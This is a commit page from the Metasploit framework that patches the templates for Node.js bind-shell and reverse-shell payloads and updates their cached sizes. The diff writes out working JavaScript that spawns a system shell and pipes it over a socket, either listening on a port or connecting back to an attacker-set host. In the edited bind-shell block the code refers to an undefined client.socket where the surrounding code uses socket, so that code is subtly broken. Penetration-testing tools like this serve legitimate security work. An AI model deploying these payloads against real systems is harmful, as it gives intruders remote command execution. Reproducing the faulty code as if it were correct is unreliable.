Skip to content

Commit a58552d

Browse files
committed
Land rapid7#8825, Handle missing util.pump in nodejs shell payloads
2 parents 5f66b7e + 2576439 commit a58552d

File tree

6 files changed

+19
-9
lines changed

6 files changed

+19
-9
lines changed

lib/msf/core/payload/nodejs.rb

Lines changed: 14 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -18,8 +18,13 @@ def nodejs_bind_tcp
1818
var server = net.createServer(function(socket) {
1919
var sh = cp.spawn(cmd, []);
2020
socket.pipe(sh.stdin);
21-
util.pump(sh.stdout, socket);
22-
util.pump(sh.stderr, socket);
21+
if (typeof util.pump === "undefined") {
22+
sh.stdout.pipe(client.socket);
23+
sh.stderr.pipe(client.socket);
24+
} else {
25+
util.pump(sh.stdout, client.socket);
26+
util.pump(sh.stderr, client.socket);
27+
}
2328
});
2429
server.listen(#{datastore['LPORT']});
2530
})();
@@ -53,8 +58,13 @@ def nodejs_reverse_tcp(opts={})
5358
var client = this;
5459
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
5560
client.socket.pipe(sh.stdin);
56-
util.pump(sh.stdout, client.socket);
57-
util.pump(sh.stderr, client.socket);
61+
if (typeof util.pump === "undefined") {
62+
sh.stdout.pipe(client.socket);
63+
sh.stderr.pipe(client.socket);
64+
} else {
65+
util.pump(sh.stdout, client.socket);
66+
util.pump(sh.stderr, client.socket);
67+
}
5868
});
5969
})();
6070
EOS

modules/payloads/singles/cmd/unix/bind_nodejs.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
module MetasploitModule
1212

13-
CachedSize = 1843
13+
CachedSize = 2351
1414

1515
include Msf::Payload::Single
1616
include Msf::Payload::NodeJS

modules/payloads/singles/cmd/unix/reverse_nodejs.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
module MetasploitModule
1212

13-
CachedSize = 1971
13+
CachedSize = 2423
1414

1515
include Msf::Payload::Single
1616
include Msf::Payload::NodeJS

modules/payloads/singles/nodejs/shell_bind_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313

1414
module MetasploitModule
1515

16-
CachedSize = 456
16+
CachedSize = 583
1717

1818
include Msf::Payload::Single
1919
include Msf::Payload::NodeJS

modules/payloads/singles/nodejs/shell_reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313

1414
module MetasploitModule
1515

16-
CachedSize = 488
16+
CachedSize = 601
1717

1818
include Msf::Payload::Single
1919
include Msf::Payload::NodeJS

modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
module MetasploitModule
1212

13-
CachedSize = 516
13+
CachedSize = 629
1414

1515
include Msf::Payload::Single
1616
include Msf::Payload::NodeJS

0 commit comments

Comments
 (0)